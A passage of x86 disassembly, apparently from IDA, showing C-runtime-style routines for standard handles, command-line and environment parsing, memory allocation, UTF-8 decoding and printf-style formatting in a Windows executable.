loc_409790 mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_409790 test edx, 8 jnz short loc_40976A push eax call dword_411DF0 ; GetFileType test eax, eax jz short loc_409790 loc_40976A: ; CODE XREF: sub_409630+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_41398C[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_409790: ; CODE XREF: sub_409630+117j ; sub_409630+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40979D: ; CODE XREF: sub_409630+10Bj cmp edi, [ebp+var_10] jl short loc_40973D loc_4097A2: ; CODE XREF: sub_409630+69j ; sub_409630+73j xor edi, edi loc_4097A4: ; CODE XREF: sub_409630+23Ej imul eax, edi, 24h mov edx, dword_41398C lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_409866 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_4097CD mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_4097DE ; --------------------------------------------------------------------------- loc_4097CD: ; CODE XREF: sub_409630+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_4097DE: ; CODE XREF: sub_409630+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD8 ; GetStdHandle mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_409860 mov eax, [ebp+var_C] push eax call dword_411DF0 ; GetFileType mov [ebp+var_14], eax test eax, eax jz short loc_409860 call dword_411D68 ; GetCurrentProcess mov [ebp+var_64], eax call dword_411D68 ; GetCurrentProcess push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF4 ; DuplicateHandle test eax, eax jz short loc_409835 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_409835: ; CODE XREF: sub_409630+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_40984D or byte ptr [ebx+4], 40h jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40984D: ; CODE XREF: sub_409630+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_40986A or byte ptr [ebx+4], 8 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_409860: ; CODE XREF: sub_409630+1C0j ; sub_409630+1D1j or byte ptr [ebx+4], 40h jmp short loc_40986A ; --------------------------------------------------------------------------- loc_409866: ; CODE XREF: sub_409630+186j or byte ptr [ebx+4], 80h loc_40986A: ; CODE XREF: sub_409630+21Bj ; sub_409630+228j ... inc edi cmp edi, 3 jl loc_4097A4 mov eax, dword_413A8C push eax call dword_411DF8 ; LockResource pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409630 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi xor ebx, ebx loc_409894: ; CODE XREF: DMN0:004098E7j cmp dword_41398C[ebx*4], 0 jz short loc_4098E3 mov esi, dword_41398C[ebx*4] jmp short loc_4098BA ; --------------------------------------------------------------------------- loc_4098A7: ; CODE XREF: DMN0:004098C8j cmp dword ptr [esi+8], 0 jz short loc_4098B7 lea eax, [esi+0Ch] push eax call dword_411DD0 ; RtlDeleteCriticalSection loc_4098B7: ; CODE XREF: DMN0:004098ABj add esi, 24h loc_4098BA: ; CODE XREF: DMN0:004098A5j mov eax, dword_41398C[ebx*4] add eax, 480h cmp esi, eax jb short loc_4098A7 mov eax, dword_41398C[ebx*4] push eax call sub_407480 pop ecx mov dword_41398C[ebx*4], 0 loc_4098E3: ; CODE XREF: DMN0:0040989Cj inc ebx cmp ebx, 40h jl short loc_409894 pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F0 proc near ; CODE XREF: sub_409AA0+3Fp ; sub_409AA0+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_409921 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_409921: ; CODE XREF: sub_4098F0+24j cmp byte ptr [ebx], 22h jnz short loc_40995C jmp short loc_409938 ; --------------------------------------------------------------------------- loc_409928: ; CODE XREF: sub_4098F0+53j test ecx, ecx jz short loc_409933 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409933: ; CODE XREF: sub_4098F0+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409938: ; CODE XREF: sub_4098F0+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_409945 cmp byte ptr [ebx], 0 jnz short loc_409928 loc_409945: ; CODE XREF: sub_4098F0+4Ej test ecx, ecx jz short loc_40994F mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_40994F: ; CODE XREF: sub_4098F0+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_409994 inc ebx jmp short loc_409994 ; --------------------------------------------------------------------------- loc_40995C: ; CODE XREF: sub_4098F0+34j ; sub_4098F0+91j test ecx, ecx jz short loc_409967 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409967: ; CODE XREF: sub_4098F0+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_409983 test al, al jz short loc_409983 cmp al, 9 jnz short loc_40995C loc_409983: ; CODE XREF: sub_4098F0+89j ; sub_4098F0+8Dj cmp [ebp+var_9], 0 jnz short loc_40998C dec ebx jmp short loc_409994 ; --------------------------------------------------------------------------- loc_40998C: ; CODE XREF: sub_4098F0+97j test ecx, ecx jz short loc_409994 mov byte ptr [ecx-1], 0 loc_409994: ; CODE XREF: sub_4098F0+67j ; sub_4098F0+6Aj ... mov [ebp+var_8], 0 loc_40999B: ; CODE XREF: sub_4098F0+181j cmp byte ptr [ebx], 0 jz short loc_4099AD jmp short loc_4099A3 ; --------------------------------------------------------------------------- loc_4099A2: ; CODE XREF: sub_4098F0+B7j ; sub_4098F0+BBj inc ebx loc_4099A3: ; CODE XREF: sub_4098F0+B0j mov al, [ebx] cmp al, 20h jz short loc_4099A2 cmp al, 9 jz short loc_4099A2 loc_4099AD: ; CODE XREF: sub_4098F0+AEj cmp byte ptr [ebx], 0 jz loc_409A76 cmp [ebp+arg_4], 0 jz short loc_4099C7 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_4099C7: ; CODE XREF: sub_4098F0+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_4099CC: ; CODE XREF: sub_4098F0+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_4099D9 ; --------------------------------------------------------------------------- loc_4099D7: ; CODE XREF: sub_4098F0+ECj inc ebx inc edi loc_4099D9: ; CODE XREF: sub_4098F0+E5j cmp byte ptr [ebx], 5Ch jz short loc_4099D7 cmp byte ptr [ebx], 22h jnz short loc_409A29 test edi, 1 jnz short loc_409A16 cmp [ebp+var_8], 0 jz short loc_409A03 cmp byte ptr [ebx+1], 22h jnz short loc_4099FA inc ebx jmp short loc_409A0A ; --------------------------------------------------------------------------- loc_4099FA: ; CODE XREF: sub_4098F0+105j mov [ebp+var_4], 0 jmp short loc_409A0A ; --------------------------------------------------------------------------- loc_409A03: ; CODE XREF: sub_4098F0+FFj mov [ebp+var_4], 0 loc_409A0A: ; CODE XREF: sub_4098F0+108j ; sub_4098F0+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_409A16: ; CODE XREF: sub_4098F0+F9j shr edi, 1 jmp short loc_409A29 ; --------------------------------------------------------------------------- loc_409A1A: ; CODE XREF: sub_4098F0+13Ej test ecx, ecx jz short loc_409A24 mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_409A24: ; CODE XREF: sub_4098F0+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409A29: ; CODE XREF: sub_4098F0+F1j ; sub_4098F0+128j mov eax, edi dec edi test eax, eax jnz short loc_409A1A mov al, [ebx] test al, al jz short loc_409A44 cmp [ebp+var_8], 0 jnz short loc_409A46 cmp al, 20h jz short loc_409A44 cmp al, 9 jnz short loc_409A46 loc_409A44: ; CODE XREF: sub_4098F0+144j ; sub_4098F0+14Ej jmp short loc_409A62 ; --------------------------------------------------------------------------- loc_409A46: ; CODE XREF: sub_4098F0+14Aj ; sub_4098F0+152j cmp [ebp+var_4], 0 jz short loc_409A5C test ecx, ecx jz short loc_409A57 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_409A57: ; CODE XREF: sub_4098F0+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409A5C: ; CODE XREF: sub_4098F0+15Aj inc ebx jmp loc_4099CC ; --------------------------------------------------------------------------- loc_409A62: ; CODE XREF: sub_4098F0:loc_409A44j test ecx, ecx jz short loc_409A6C mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_409A6C: ; CODE XREF: sub_4098F0+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_40999B ; --------------------------------------------------------------------------- loc_409A76: ; CODE XREF: sub_4098F0+C0j cmp [ebp+arg_4], 0 jz short loc_409A8B mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_409A8B: ; CODE XREF: sub_4098F0+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_4098F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AA0 proc near ; CODE XREF: sub_407E30+69p var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D94 ; GetCommandLineA mov esi, eax cmp byte ptr [esi], 0 jnz short loc_409AD2 push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CE0 ; GetModuleFileNameA lea esi, [ebp+var_10C] loc_409AD2: ; CODE XREF: sub_409AA0+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_4098F0 add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_408530 pop ecx mov ebx, eax test ebx, ebx jnz short loc_409B05 push 1 call sub_409520 pop ecx loc_409B05: ; CODE XREF: sub_409AA0+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_4098F0 add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C8, eax mov dword_4117CC, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_409AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B40 proc near ; CODE XREF: sub_407E30+6Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DFC ; GetEnvironmentStrings mov [ebp+var_8], eax test eax, eax jnz short loc_409B5E mov eax, off_411898 mov [ebp+var_8], eax loc_409B5E: ; CODE XREF: sub_409B40+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_409B83 ; --------------------------------------------------------------------------- loc_409B6A: ; CODE XREF: sub_409B40+46j mov edx, ebx or eax, 0FFFFFFFFh loc_409B6F: ; CODE XREF: sub_409B40+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_409B6F lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_409B81 add [ebp+var_4], esi loc_409B81: ; CODE XREF: sub_409B40+3Cj add ebx, esi loc_409B83: ; CODE XREF: sub_409B40+28j cmp byte ptr [ebx], 0 jnz short loc_409B6A mov eax, [ebp+var_4] inc eax push eax call sub_408530 pop ecx mov edi, eax mov dword_4117D4, eax cmp dword_4117D4, 0 jnz short loc_409BAB push 1 call sub_409520 pop ecx loc_409BAB: ; CODE XREF: sub_409B40+61j mov ebx, [ebp+var_8] jmp short loc_409BDA ; --------------------------------------------------------------------------- loc_409BB0: ; CODE XREF: sub_409B40+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_409BB5: ; CODE XREF: sub_409B40+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_409BB5 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_409BD8 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_409BCB: ; CODE XREF: sub_409B40+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_409BCB pop eax add edi, esi loc_409BD8: ; CODE XREF: sub_409B40+82j add ebx, esi loc_409BDA: ; CODE XREF: sub_409B40+6Ej cmp byte ptr [ebx], 0 jnz short loc_409BB0 mov byte ptr [edi], 0 mov eax, off_411898 cmp eax, [ebp+var_8] jz short loc_409BF6 mov eax, [ebp+var_8] push eax call dword_411E00 ; FreeEnvironmentStringsA loc_409BF6: ; CODE XREF: sub_409B40+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409B40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409C00 proc near ; CODE XREF: sub_407E30+A3p push ebx call dword_411D94 ; GetCommandLineA mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_409C24 loc_409C0E: ; CODE XREF: sub_409C00+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_409C1B cmp byte ptr [ebx], 0 jnz short loc_409C0E loc_409C1B: ; CODE XREF: sub_409C00+14j cmp byte ptr [ebx], 22h jnz short loc_409C2C inc ebx jmp short loc_409C2C ; --------------------------------------------------------------------------- loc_409C23: ; CODE XREF: sub_409C00+27j inc ebx loc_409C24: ; CODE XREF: sub_409C00+Cj cmp byte ptr [ebx], 20h ja short loc_409C23 jmp short loc_409C2C ; --------------------------------------------------------------------------- loc_409C2B: ; CODE XREF: sub_409C00+34j inc ebx loc_409C2C: ; CODE XREF: sub_409C00+1Ej ; sub_409C00+21j ... mov al, [ebx] test al, al jz short loc_409C36 cmp al, 20h jbe short loc_409C2B loc_409C36: ; CODE XREF: sub_409C00+30j mov eax, ebx pop ebx retn sub_409C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C40 proc near ; CODE XREF: sub_407F60+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117DC, 0 jnz short loc_409C73 push 1 push 2000h mov eax, dword_4117E0 push eax push 0 call dword_411E04 ; VirtualAlloc mov dword_4117DC, eax test eax, eax jz short loc_409CD6 loc_409C73: ; CODE XREF: sub_409C40+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117DC push eax call dword_411E08 ; VirtualQuery test eax, eax jz short loc_409CD6 cmp [ebp+var_C], 1000h jnz short loc_409CA0 mov eax, [ebp+var_10] mov edx, dword_4117DC lea edi, [edx+eax] jmp short loc_409CA6 ; --------------------------------------------------------------------------- loc_409CA0: ; CODE XREF: sub_409C40+50j mov edi, dword_4117DC loc_409CA6: ; CODE XREF: sub_409C40+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117E0 mov ecx, dword_4117DC add edx, ecx cmp eax, edx jb short loc_409CC1 xor eax, eax jmp short loc_409CD6 ; --------------------------------------------------------------------------- loc_409CC1: ; CODE XREF: sub_409C40+7Bj push 4 push 1000h push ebx push esi call dword_411E04 ; VirtualAlloc test eax, eax jz short loc_409CD6 mov eax, esi loc_409CD6: ; CODE XREF: sub_409C40+31j ; sub_409C40+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CE0 proc near ; CODE XREF: sub_408B70+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411928, 0 jnz loc_409E5B cmp [ebp+arg_4], 0 jnz short loc_409D2E mov eax, [ebp+arg_C] mov ecx, dword_40FB60 mov ebx, dword_40FB64 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409D2E: ; CODE XREF: sub_409CE0+31j ; sub_409CE0+176j cmp [ebp+arg_8], 0 jnz short loc_409D52 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409D52: ; CODE XREF: sub_409CE0+52j cmp [ebp+var_3], 0 jbe short loc_409D99 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_409D7D call sub_408730 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409D7D: ; CODE XREF: sub_409CE0+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409D99: ; CODE XREF: sub_409CE0+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_409DAD mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409DAD: ; CODE XREF: sub_409CE0+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_409DD2 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409DD2: ; CODE XREF: sub_409CE0+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_409DF7 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409DF7: ; CODE XREF: sub_409CE0+102j call sub_408730 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409E0A: ; CODE XREF: sub_409CE0+B7j ; sub_409CE0+CBj ... cmp [ebp+var_3], 0 jnz short loc_409E50 cmp [ebp+arg_0], 0 jz short loc_409E20 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409E20: ; CODE XREF: sub_409CE0+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_409E39 mov [ebp+var_C], 0 jmp short loc_409E48 ; --------------------------------------------------------------------------- loc_409E39: ; CODE XREF: sub_409CE0+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_409E48: ; CODE XREF: sub_409CE0+157j mov eax, [ebp+var_C] jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409E50: ; CODE XREF: sub_409CE0+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_409D2E ; --------------------------------------------------------------------------- loc_409E5B: ; CODE XREF: sub_409CE0+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_409E8E mov eax, [ebp+arg_C] mov ecx, dword_40FB60 mov ebx, dword_40FB64 mov [eax], ecx mov [eax+4], ebx mov eax, off_411928 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409E8E: ; CODE XREF: sub_409CE0+186j ; sub_409CE0+292j cmp [ebp+arg_8], 0 jnz short loc_409EB2 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409EB2: ; CODE XREF: sub_409CE0+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_409EEE movzx eax, al mov eax, off_411928[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_409EEE mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_409EEE mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_409F01 loc_409EEE: ; CODE XREF: sub_409CE0+1D7j ; sub_409CE0+1E8j ... call sub_408730 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409FBA ; --------------------------------------------------------------------------- loc_409F01: ; CODE XREF: sub_409CE0+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_409F2D movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_409F2D: ; CODE XREF: sub_409CE0+238j test [ebp+var_E], 1000h jz short loc_409F4F movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_409F4F: ; CODE XREF: sub_409CE0+253j test [ebp+var_E], 4000h jz short loc_409F6C mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_409F6C inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_409F6C: ; CODE XREF: sub_409CE0+275j ; sub_409CE0+27Dj test [ebp+var_E], 2000h jz loc_409E8E cmp [ebp+arg_0], 0 jz short loc_409F88 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409F88: ; CODE XREF: sub_409CE0+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_409FAC mov [ebp+var_18], 0 jmp short loc_409FB7 ; --------------------------------------------------------------------------- loc_409FAC: ; CODE XREF: sub_409CE0+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_409FB7: ; CODE XREF: sub_409CE0+2CAj mov eax, [ebp+var_18] loc_409FBA: ; CODE XREF: sub_409CE0+49j ; sub_409CE0+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_409CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FC0 proc near ; CODE XREF: sub_408B70+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_409FDF cmp eax, 47h jg short loc_409FEE jmp dword_40FC68[eax*4] ; --------------------------------------------------------------------------- loc_409FDF: ; CODE XREF: sub_409FC0+11j cmp [ebp+var_4], 25h jz loc_40A6B2 jmp loc_40A6C7 ; --------------------------------------------------------------------------- loc_409FEE: ; CODE XREF: sub_409FC0+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_40A223 jl loc_40A6C7 mov eax, [ebp+var_4] cmp eax, 61h jl loc_40A6C7 cmp eax, 78h jg loc_40A6C7 jmp dword_40FC04[eax*4] ; --------------------------------------------------------------------------- loc_40A01C: ; DATA XREF: DMN0:0040FD90o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_40A049 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_40A6F2 ; --------------------------------------------------------------------------- loc_40A049: ; CODE XREF: sub_409FC0+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_40B240 add esp, 8 test eax, eax jge loc_40A6F2 or eax, 0FFFFFFFFh jmp loc_40A6F4 ; --------------------------------------------------------------------------- loc_40A08B: ; DATA XREF: DMN0:0040FD94o ; DMN0:0040FDA8o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_40A0B0 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_40A124 ; --------------------------------------------------------------------------- loc_40A0B0: ; CODE XREF: sub_409FC0+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_40A0D1 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_40A118 ; --------------------------------------------------------------------------- loc_40A0D1: ; CODE XREF: sub_409FC0+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_40A0F2 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_40A10C ; --------------------------------------------------------------------------- loc_40A0F2: ; CODE XREF: sub_409FC0+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_40A10C: ; CODE XREF: sub_409FC0+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_40A118: ; CODE XREF: sub_409FC0+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_40A124: ; CODE XREF: sub_409FC0+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_40A154 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A19A ; --------------------------------------------------------------------------- loc_40A154: ; CODE XREF: sub_409FC0+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_40A178 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_40A19A ; --------------------------------------------------------------------------- loc_40A178: ; CODE XREF: sub_409FC0+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_40A186 cmp al, 7Ah jnz short loc_40A19A loc_40A186: ; CODE XREF: sub_409FC0+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_40A19A: ; CODE XREF: sub_409FC0+192j ; sub_409FC0+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short 